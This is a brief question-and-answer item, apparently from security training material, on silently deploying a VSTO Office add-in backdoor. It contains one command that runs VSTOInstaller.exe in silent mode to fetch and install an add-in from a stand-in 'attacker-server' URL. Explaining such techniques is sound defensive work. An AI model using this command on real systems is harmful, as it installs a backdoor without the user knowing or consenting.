How can a VSTO backdoor be deployed silently and remotely?

After signing and registering the certificate, attackers use VSTOInstaller.exe with the `/s` (silent) and `/i` (install) flags, pointing to a remote URL hosting the VSTO manifest. For example: `VSTOInstaller.exe /s /i http://attacker-server/AddIn.vsto`. This downloads and installs the add-in without any user interaction, enabling stealthy remote deployment.